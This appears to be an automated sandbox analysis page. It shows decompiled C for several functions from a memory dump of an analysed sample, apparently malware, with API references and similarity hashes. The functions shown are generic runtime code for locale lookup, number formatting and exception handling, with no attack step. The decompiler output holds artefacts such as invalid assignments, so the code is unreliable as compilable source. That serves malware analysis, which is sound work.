Download Yara Rule

C-Code - Quality: 96%

			E0042B878(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0041B4E1(_t27, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x0042b87e
0x0042b885
0x0042b929
0x0042b942
0x0042b948
0x0042b94d
0x0042b94f
0x0042b94f
0x0042b955
0x0042b958
0x0042b958
0x0042b944
0x0042b944
0x00000000
0x0042b944
0x0042b88b
0x0042b890
0x00000000
0x00000000
0x0042b896
0x0042b89b
0x0042b89d
0x0042b89d
0x0042b8a3
0x00000000
0x00000000
0x0042b8a8
0x0042b8bf
0x0042b8bf
0x0042b8c8
0x0042b8ca
0x00000000
0x00000000
0x0042b8cc
0x0042b8d1
0x0042b8d3
0x0042b8d3
0x0042b8d9
0x00000000
0x00000000
0x0042b8de
0x0042b8fc
0x0042b8fe
0x0042b921
0x00000000
0x0042b926
0x0042b919
0x00000000
0x00000000
0x0042b91b
0x00000000
0x0042b91b
0x0042b8e0
0x0042b8e8
0x00000000
0x00000000
0x0042b8ea
0x0042b8ed
0x0042b8f3
0x00000000
0x00000000
0x00000000
0x0042b8f5
0x0042b8f7
0x0042b8f9
0x00000000
0x0042b8f9
0x0042b8aa
0x0042b8b2
0x00000000
0x00000000
0x0042b8b4
0x0042b8b7
0x0042b8bd
0x00000000
0x00000000
0x00000000
0x0042b8bd
0x0042b8c3
0x0042b8c5
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0042BB96,00000002,00000000,?,?,?,0042BB96,?,00000000), ref: 0042B911
GetLocaleInfoW.KERNEL32(?,20001004,0042BB96,00000002,00000000,?,?,?,0042BB96,?,00000000), ref: 0042B93A
GetACP.KERNEL32(?,?,0042BB96,?,00000000), ref: 0042B94F

Strings

OCP, xrefs: 0042B8CC
ACP, xrefs: 0042B896

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: baa951752c453f5e08ee5dfd05715e70370394d7da1a31da91ae6347c7eddb80
Instruction ID: 587694517562672ddcb390d6997b9a768a075160a8bfa1f5444cbfb0e68a1466
Opcode Fuzzy Hash: baa951752c453f5e08ee5dfd05715e70370394d7da1a31da91ae6347c7eddb80
Instruction Fuzzy Hash: C821B872B00121A6DB349F55E900BA773AAEF54B50BD6C026EA09D7301EB36DE81C3DC

Uniqueness

Uniqueness Score: -1.00%

Function 00421F48 Relevance: 6.3, APIs: 4, Instructions: 337
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00421F48(signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t87;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t111;
				void* _t113;
				signed int _t114;
				void* _t115;
				void* _t118;
				void* _t120;
				void* _t122;
				signed int* _t124;
				void* _t127;
				signed int _t129;
				signed int _t131;
				signed int _t136;
				signed int* _t140;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				void* _t161;
				unsigned int _t162;
				intOrPtr _t171;
				signed int _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				intOrPtr _t189;
				void* _t190;

				_t186 = _a24;
				if(_t186 < 0) {
					_t186 = 0;
				}
				_t183 = _a8;
				_t3 = _t186 + 0xb; // 0xb
				 *_t183 = 0;
				if(_a12 > _t3) {
					_t140 = _a4;
					_t147 = _t140[1];
					_t173 =  *_t140;
					__eflags = (_t147 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if(__eflags != 0) {
						__eflags = _t147;
						if(__eflags > 0) {
							L13:
							_t20 = _t183 + 1; // 0x2
							_t174 = _t20;
							_t87 = _a28 ^ 0x00000001;
							_v20 = 0x3ff;
							_v5 = _t87;
							_v16 = _t174;
							_v48 = ((_t87 & 0x000000ff) << 5) + 7;
							__eflags = _t147 & 0x7ff00000;
							_t93 = 0x30;
							if((_t147 & 0x7ff00000) != 0) {
								 *_t183 = 0x31;
								L18:
								_t149 = 0;
								__eflags = 0;
								L19:
								_t28 =  &(_t174[0]); // 0x2
								_t184 = _t28;
								__eflags = _t186;
								if(_t186 != 0) {
									_t94 = _a40;
									__eflags =  *((char*)(_t94 + 0x14));
									if(__eflags == 0) {
										E0041A250(_t94, _t174, __eflags);
										_t94 = _a40;
										_t174 = _v16;
									}
									_t149 = 0;
									__eflags = 0;
									_t98 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)) + 0x88))))));
								} else {
									_t98 = _t149;
								}
								 *_t174 = _t98;
								_t100 = _t140[1] & 0x000fffff;
								__eflags = _t100;
								_v40 = _t100;
								if(_t100 > 0) {
									L26:
									_t175 = _t149;
									_t150 = 0xf0000;
									_t101 = 0x30;
									_v12 = _t101;
									_v24 = _t149;
									_v28 = 0xf0000;
									while(1) {
										_v32 = _v12 & 0x0000ffff;
										_t104 = _t184;
										_v36 = _t184;
										_v40 = _t186;
										__eflags = _t186;
										if(__eflags <= 0) {
											break;
										}
										_t127 = E00431060( *_t140 & _t175, _v32 & 0x0000ffff, _t140[1] & _t150 & 0x000fffff);
										_t161 = 0x30;
										_t129 = _t127 + _t161 & 0x0000ffff;
										__eflags = _t129 - 0x39;
										if(_t129 > 0x39) {
											_t129 = _t129 + _v48;
											__eflags = _t129;
										}
										_t162 = _v28;
										_t175 = (_t162 << 0x00000020 | _v24) >> 4;
										 *_t184 = _t129;
										_t184 = _t184 + 1;
										_t150 = _t162 >> 4;
										_t131 = _v12 - 4;
										_t186 = _t186 - 1;
										_v24 = (_t162 << 0x00000020 | _v24) >> 4;
										_v28 = _t162 >> 4;
										_v12 = _t131;
										__eflags = _t131;
										if(_t131 >= 0) {
											continue;
										} else {
											goto L43;
										}
									}
									_t186 = _v40;
									_t184 = _t104;
									_t105 = E00422779(__eflags, _t140, _t175, _t150, _v32, _a36);
									_t190 = _t190 + 0x14;
									__eflags = _t105;
									if(_t105 == 0) {
										goto L43;
									}
									_t184 = _v36;
									_t146 = 0x30;
									_t124 = _t184 - 1;
									while(1) {
										_t156 =  *_t124;
										__eflags = _t156 - 0x66;
										if(_t156 == 0x66) {
											goto L36;
										}
										__eflags = _t156 - 0x46;
										if(_t156 != 0x46) {
											_t140 = _a4;
											__eflags = _t124 - _v16;
											if(_t124 == _v16) {
												_t65 = _t124 - 1;
												 *_t65 =  *(_t124 - 1) + 1;
												__eflags =  *_t65;
											} else {
												__eflags = _t156 - 0x39;
												if(_t156 != 0x39) {
													_t157 = _t156 + 1;
													__eflags = _t157;
												} else {
													_t157 = _v48 + 0x3a;
												}
												 *_t124 = _t157;
											}
											goto L43;
										}
										L36:
										 *_t124 = _t146;
										_t124 = _t124 - 1;
									}
								} else {
									__eflags =  *_t140 - _t149;
									if( *_t140 <= _t149) {
										L43:
										__eflags = _t186;
										if(_t186 > 0) {
											_push(_t186);
											_t122 = 0x30;
											_push(_t122);
											_push(_t184);
											E00415180(_t184);
											_t184 = _t184 + _t186;
											__eflags = _t184;
										}
										_t106 = _v16;
										__eflags =  *_t106;
										if( *_t106 == 0) {
											_t184 = _t106;
										}
										 *_t184 = (_v5 << 5) + 0x50;
										_t176 = _t140[1];
										_t111 = E00431060( *_t140, 0x34, _t176);
										_t141 = 0;
										_t188 = _t176 & 0;
										_t70 = _t184 + 2; // 0x2
										_t177 = _t70;
										_t154 = (_t111 & 0x000007ff) - _v20;
										__eflags = _t154;
										_v48 = _t177;
										asm("sbb esi, ebx");
										if(__eflags < 0) {
											L51:
											_t154 =  ~_t154;
											asm("adc esi, ebx");
											_t188 =  ~_t188;
											0x2b = 0x2d;
											goto L52;
										} else {
											if(__eflags > 0) {
												L50:
												L52:
												 *(_t184 + 1) = 0x2b;
												_t185 = _t177;
												_t113 = 0x30;
												 *_t177 = _t113;
												__eflags = _t188 - _t141;
												if(__eflags < 0) {
													L61:
													_t178 = 0x30;
													L62:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														L66:
														_t155 = _t154 + _t178;
														__eflags = _t155;
														 *_t185 = _t155;
														 *(_t185 + 1) = _t141;
														L67:
														_t114 = 0;
														__eflags = 0;
														L68:
														return _t114;
													}
													if(__eflags > 0) {
														L65:
														_push(_t141);
														_push(_t141);
														_push(0xa);
														_push(_t188);
														_push(_t154);
														_t115 = E00430F60();
														_v48 = _t178;
														_t178 = 0x30;
														 *_t185 = _t115 + _t178;
														_t185 = _t185 + 1;
														_t141 = 0;
														__eflags = 0;
														goto L66;
													}
													__eflags = _t154 - 0xa;
													if(_t154 < 0xa) {
														goto L66;
													}
													goto L65;
												}
												if(__eflags > 0) {
													L55:
													_push(_t141);
													_push(_t141);
													_push(0x3e8);
													_push(_t188);
													_push(_t154);
													_t118 = E00430F60();
													_t188 = _t141;
													_v40 = _t177;
													_t177 = _v48;
													_t141 = 0;
													_t185 = _t177 + 1;
													 *_t177 = _t118 + 0x30;
													__eflags = _t185 - _t177;
													if(_t185 != _t177) {
														L59:
														_push(_t141);
														_push(_t141);
														_push(0x64);
														_push(_t188);
														_push(_t154);
														_t120 = E00430F60();
														_t188 = _t141;
														_v40 = _t177;
														_t141 = 0;
														_t178 = 0x30;
														 *_t185 = _t120 + _t178;
														_t185 = _t185 + 1;
														__eflags = _t185 - _v48;
														if(_t185 != _v48) {
															goto L65;
														}
														goto L62;
													}
													L56:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														goto L61;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t154 - 0x64;
													if(_t154 < 0x64) {
														goto L61;
													}
													goto L59;
												}
												__eflags = _t154 - 0x3e8;
												if(_t154 < 0x3e8) {
													goto L56;
												}
												goto L55;
											}
											__eflags = _t154;
											if(_t154 < 0) {
												goto L51;
											}
											goto L50;
										}
									}
									goto L26;
								}
							}
							 *_t183 = _t93;
							_t149 =  *_t140 | _t140[1] & 0x000fffff;
							__eflags = _t149;
							if(_t149 != 0) {
								_v20 = 0x3fe;
								goto L18;
							}
							_v20 = _t149;
							goto L19;
						}
						if(__eflags < 0) {
							L12:
							 *_t183 = 0x2d;
							_t183 = _t183 + 1;
							__eflags = _t183;
							_t147 = _t140[1];
							goto L13;
						}
						__eflags = _t173;
						if(_t173 >= 0) {
							goto L13;
						}
						goto L12;
					}
					_t114 = E00422274(_t140, _t147, _t173, __eflags, _t140, _t183, _a12, _a16, _a20, _t186, 0, _a32, _a36, _a40);
					__eflags = _t114;
					if(_t114 == 0) {
						_t136 = E00431110(_t183, 0x65);
						__eflags = _t136;
						if(_t136 != 0) {
							 *_t136 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							 *((char*)(_t136 + 3)) = 0;
						}
						goto L67;
					}
					 *_t183 = 0;
					goto L68;
				}
				_t171 = _a40;
				_t189 = 0x22;
				 *((char*)(_t171 + 0x1c)) = 1;
				 *((intOrPtr*)(_t171 + 0x18)) = _t189;
				E00417FD2(_t183, _t189, 0, 0, 0, 0, 0, _t171);
				return _t189;
			}

0x00421f53
0x00421f59
0x00421f5b
0x00421f5b
0x00421f5d
0x00421f60
0x00421f63
0x00421f68
0x00421f8d
0x00421f90
0x00421f95
0x00421f9f
0x00421fa4
0x00421ffd
0x00421fff
0x0042200e
0x00422011
0x00422011
0x00422014
0x00422016
0x0042201d
0x0042202f
0x00422032
0x00422037
0x0042203b
0x0042203c
0x0042205c
0x0042205f
0x0042205f
0x0042205f
0x00422061
0x00422061
0x00422061
0x00422064
0x00422066
0x0042206c
0x0042206f
0x00422073
0x00422077
0x0042207c
0x0042207f
0x0042207f
0x00422085
0x00422085
0x0042208f
0x00422068
0x00422068
0x00422068
0x00422091
0x00422096
0x00422096
0x0042209b
0x0042209e
0x004220a8
0x004220aa
0x004220ac
0x004220b1
0x004220b2
0x004220b5
0x004220b8
0x004220bb
0x004220c1
0x004220c4
0x004220c6
0x004220c9
0x004220cc
0x004220ce
0x00000000
0x00000000
0x004220e5
0x004220ec
0x004220f0
0x004220f3
0x004220f6
0x004220f8
0x004220f8
0x004220f8
0x004220fe
0x00422101
0x00422105
0x00422107
0x0042210b
0x0042210e
0x00422111
0x00422112
0x00422115
0x00422118
0x0042211b
0x0042211e
0x00000000
0x00422120
0x00000000
0x00422120
0x0042211e
0x00422125
0x00422128
0x00422130
0x00422135
0x00422138
0x0042213a
0x00000000
0x00000000
0x0042213c
0x00422141
0x00422142
0x00422145
0x00422145
0x00422147
0x0042214a
0x00000000
0x00000000
0x0042214c
0x0042214f
0x00422156
0x00422159
0x0042215c
0x00422171
0x00422171
0x00422171
0x0042215e
0x0042215e
0x00422161
0x0042216b
0x0042216b
0x00422163
0x00422166
0x00422166
0x0042216d
0x0042216d
0x00000000
0x0042215c
0x00422151
0x00422151
0x00422153
0x00422153
0x004220a0
0x004220a0
0x004220a2
0x00422174
0x00422174
0x00422176
0x00422178
0x0042217b
0x0042217c
0x0042217d
0x0042217e
0x00422186
0x00422186
0x00422186
0x00422188
0x0042218b
0x0042218e
0x00422190
0x00422190
0x0042219c
0x004221a0
0x004221a3
0x004221a8
0x004221b4
0x004221b6
0x004221b6
0x004221b9
0x004221b9
0x004221bc
0x004221bf
0x004221c1
0x004221cd
0x004221cd
0x004221d1
0x004221d3
0x004221d5
0x00000000
0x004221c3
0x004221c3
0x004221c9
0x004221d6
0x004221d6
0x004221d9
0x004221dd
0x004221de
0x004221e0
0x004221e2
0x0042223e
0x00422240
0x00422241
0x00422241
0x00422243
0x00422266
0x00422266
0x00422266
0x00422268
0x0042226a
0x0042226d
0x0042226d
0x0042226d
0x0042226f
0x00000000
0x0042226f
0x00422245
0x0042224c
0x0042224c
0x0042224d
0x0042224e
0x00422250
0x00422251
0x00422252
0x0042225b
0x0042225e
0x00422261
0x00422263
0x00422264
0x00422264
0x00000000
0x00422264
0x00422247
0x0042224a
0x00000000
0x00000000
0x00000000
0x0042224a
0x004221e9
0x004221ef
0x004221ef
0x004221f0
0x004221f1
0x004221f2
0x004221f3
0x004221f4
0x004221f9
0x004221fd
0x00422202
0x00422205
0x00422207
0x0042220a
0x0042220c
0x0042220e
0x0042221b
0x0042221b
0x0042221c
0x0042221d
0x0042221f
0x00422220
0x00422221
0x00422226
0x0042222c
0x0042222f
0x00422231
0x00422234
0x00422236
0x00422237
0x0042223a
0x00000000
0x00000000
0x00000000
0x0042223c
0x00422210
0x00422210
0x00422212
0x00000000
0x00000000
0x00422214
0x00000000
0x00000000
0x00422216
0x00422219
0x00000000
0x00000000
0x00000000
0x00422219
0x004221eb
0x004221ed
0x00000000
0x00000000
0x00000000
0x004221ed
0x004221c5
0x004221c7
0x00000000
0x00000000
0x00000000
0x004221c7
0x004221c1
0x00000000
0x004220a2
0x0042209e
0x0042203e
0x0042204a
0x0042204a
0x0042204c
0x00422053
0x00000000
0x00422053
0x0042204e
0x00000000
0x0042204e
0x00422001
0x00422007
0x00422007
0x0042200a
0x0042200a
0x0042200b
0x00000000
0x0042200b
0x00422003
0x00422005
0x00000000
0x00000000
0x00000000
0x00422005
0x00421fbe
0x00421fc6
0x00421fc8
0x00421fd5
0x00421fdc
0x00421fde
0x00421ff0
0x00421ff2
0x00421ff2
0x00000000
0x00421fde
0x00421fca
0x00000000
0x00421fca
0x00421f6a
0x00421f6f
0x00421f76
0x00421f7a
0x00421f7d
0x00000000

APIs

_strrchr.LIBCMT ref: 00421FD5

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 57f558dd77f97a6df339e016eee450913f8246513639b0d959086a0c6df0ca26
Instruction ID: aaad6e97ca1db1231b3823d89b98c34407925629691d7612207573c5b9e4082b
Opcode Fuzzy Hash: 57f558dd77f97a6df339e016eee450913f8246513639b0d959086a0c6df0ca26
Instruction Fuzzy Hash: ABB18A32B04265AFDB158F28D981BFFBBA5EF59304F5441ABE900AB341C2BD9D01C769

Uniqueness

Uniqueness Score: -1.00%

Function 00413DCA Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00413DCA(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00413F8E(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00415180(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00415180(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00413F8E(_t49);
				}
				return _t49;
			}

0x00413dca
0x00413dca
0x00413dca
0x00413dde
0x00413de0
0x00413de3
0x00413de3
0x00413de7
0x00413dec
0x00413e04
0x00413e0a
0x00413e10
0x00413e16
0x00413e1c
0x00413e22
0x00413e28
0x00413e2f
0x00413e36
0x00413e3d
0x00413e44
0x00413e4b
0x00413e52
0x00413e53
0x00413e5c
0x00413e62
0x00413e65
0x00413e6b
0x00413e7a
0x00413e86
0x00413e91
0x00413e98
0x00413e9f
0x00413eaa
0x00413eb2
0x00413ebb
0x00413ebd
0x00413ec0
0x00413ec2
0x00413ecc
0x00413ed4
0x00413eda
0x00000000
0x00413ee1
0x00413ee4

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00413DD6
IsDebuggerPresent.KERNEL32 ref: 00413EA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413EC2
UnhandledExceptionFilter.KERNEL32(?), ref: 00413ECC

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e14b2efa5fe5e5553fbb2ee573e50a86ee26a3403d6dd35079497cbd310cf862
Instruction ID: c12cfa2384cc08bf4641669c42ca0e7150b6ce3d5bd31e29dfbc754d7b5ffc75
Opcode Fuzzy Hash: e14b2efa5fe5e5553fbb2ee573e50a86ee26a3403d6dd35079497cbd310cf862
Instruction Fuzzy Hash: 13312775D41318EBDB21DFA1D9897CDBBB8AF08305F1041AAE40CAB250EB759B848F49

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4FC Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0042B4FC(void* __ecx, signed char __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _v252;
				intOrPtr _v256;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t50;
				int _t56;
				signed int _t58;
				void* _t74;
				intOrPtr _t80;
				void* _t89;
				void* _t92;
				intOrPtr _t93;
				void* _t94;
				signed int _t111;
				signed int _t115;
				intOrPtr* _t117;
				intOrPtr* _t122;
				signed int* _t124;
				int _t126;
				signed int _t127;
				void* _t128;
				void* _t140;

				_t121 = __edx;
				_t50 =  *0x443048; // 0x7239e5fc
				_v8 = _t50 ^ _t127;
				_t125 = _a4;
				_t94 = E00420590(__ecx, __edx, _a4);
				_t124 =  *(E00420590(__ecx, __edx, _a4) + 0x34c);
				_t126 = E0042B824(_t125);
				asm("sbb ecx, ecx");
				_t56 = GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				_v252 = _v252 & 0x00000000;
				if(_t56 == 0) {
					L37:
					 *_t124 = 0;
					_t58 = 1;
					L38:
					return E0041361E(_t58, _t94, _v8 ^ _t127, _t121, _t124, _t126);
				}
				if(E00427E64(_t124, _t126,  *((intOrPtr*)(_t94 + 0x54)),  &_v248) != 0) {
					L16:
					if(( *_t124 & 0x00000300) == 0x300) {
						L36:
						_t58 =  !( *_t124 >> 2) & 0x00000001;
						goto L38;
					}
					asm("sbb eax, eax");
					if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
						goto L37;
					}
					_t74 = E00427E64(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
					if(_t74 != 0) {
						if( *(_t94 + 0x60) == 0 &&  *((intOrPtr*)(_t94 + 0x5c)) != 0 && E00427E64(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248) == 0) {
							_push(_t124);
							_t94 = 0;
							if(E0042B97E(_t126, 0) == 0) {
								goto L36;
							}
							 *_t124 =  *_t124 | 0x00000100;
							L34:
							if(_t140 == 0) {
								_t124[1] = _t126;
							}
						}
						goto L36;
					}
					_t111 =  *_t124 | 0x00000200;
					 *_t124 = _t111;
					if( *(_t94 + 0x60) == _t74) {
						if( *((intOrPtr*)(_t94 + 0x5c)) == _t74) {
							goto L20;
						}
						_t122 =  *((intOrPtr*)(_t94 + 0x50));
						_v256 = _t122 + 2;
						do {
							_t80 =  *_t122;
							_t122 = _t122 + 2;
						} while (_t80 != _v252);
						_t121 = _t122 - _v256 >> 1;
						if(_t122 - _v256 >> 1 !=  *((intOrPtr*)(_t94 + 0x5c))) {
							_t74 = 0;
							goto L20;
						}
						_push(_t124);
						if(E0042B97E(_t126, 1) == 0) {
							goto L36;
						}
						 *_t124 =  *_t124 | 0x00000100;
						_t74 = 0;
						L21:
						_t140 = _t124[1] - _t74;
						goto L34;
					}
					L20:
					 *_t124 = _t111 | 0x00000100;
					goto L21;
				}
				asm("sbb eax, eax");
				if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
					goto L37;
				}
				_t89 = E00427E64(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
				_t115 =  *_t124;
				if(_t89 != 0) {
					if((_t115 & 0x00000002) != 0) {
						goto L16;
					}
					if( *((intOrPtr*)(_t94 + 0x5c)) == 0) {
						L12:
						_t121 =  *_t124;
						if((_t121 & 0x00000001) != 0 || E0042B959(_t126) == 0) {
							goto L16;
						} else {
							 *_t124 = _t121;
							goto L15;
						}
					}
					_t92 = E0042DE7A(_t94, _t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248,  *((intOrPtr*)(_t94 + 0x5c)));
					_t128 = _t128 + 0xc;
					if(_t92 != 0) {
						goto L12;
					}
					 *_t124 =  *_t124 | 0x00000002;
					_t124[2] = _t126;
					_t117 =  *((intOrPtr*)(_t94 + 0x50));
					_t121 = _t117 + 2;
					do {
						_t93 =  *_t117;
						_t117 = _t117 + 2;
					} while (_t93 != _v252);
					if(_t117 - _t121 >> 1 ==  *((intOrPtr*)(_t94 + 0x5c))) {
						_t124[1] = _t126;
					}
				} else {
					_t124[1] = _t126;
					 *_t124 = _t115 | 0x00000304;
					L15:
					_t124[2] = _t126;
				}
			}

0x0042b4fc
0x0042b507
0x0042b50e
0x0042b513
0x0042b51c
0x0042b524
0x0042b533
0x0042b53f
0x0042b550
0x0042b556
0x0042b55f
0x0042b739
0x0042b73b
0x0042b73d
0x0042b73e
0x0042b74c
0x0042b74c
0x0042b578
0x0042b633
0x0042b63e
0x0042b72d
0x0042b734
0x00000000
0x0042b734
0x0042b652
0x0042b668
0x00000000
0x00000000
0x0042b678
0x0042b681
0x0042b6f2
0x0042b70e
0x0042b70f
0x0042b71d
0x00000000
0x00000000
0x0042b71f
0x0042b728
0x0042b728
0x0042b72a
0x0042b72a
0x0042b728
0x00000000
0x0042b6f2
0x0042b685
0x0042b68b
0x0042b690
0x0042b6a5
0x00000000
0x00000000
0x0042b6a7
0x0042b6ad
0x0042b6b3
0x0042b6b3
0x0042b6b6
0x0042b6b9
0x0042b6c8
0x0042b6cd
0x0042b6e9
0x00000000
0x0042b6e9
0x0042b6cf
0x0042b6dd
0x00000000
0x00000000
0x0042b6df
0x0042b6e5
0x0042b69a
0x0042b69a
0x00000000
0x0042b69a
0x0042b692
0x0042b698
0x00000000
0x0042b698
0x0042b58c
0x0042b5a2
0x00000000
0x00000000
0x0042b5b2
0x0042b5b9
0x0042b5bd
0x0042b5cf
0x00000000
0x00000000
0x0042b5d5
0x0042b619
0x0042b619
0x0042b61e
0x00000000
0x0042b62b
0x0042b62e
0x00000000
0x0042b62e
0x0042b61e
0x0042b5e4
0x0042b5e9
0x0042b5ee
0x00000000
0x00000000
0x0042b5f0
0x0042b5f3
0x0042b5f6
0x0042b5f9
0x0042b5fc
0x0042b5fc
0x0042b5ff
0x0042b602
0x0042b612
0x0042b614
0x0042b614
0x0042b5bf
0x0042b5c5
0x0042b5c8
0x0042b630
0x0042b630
0x0042b630

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042B550
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042B59A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042B660

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
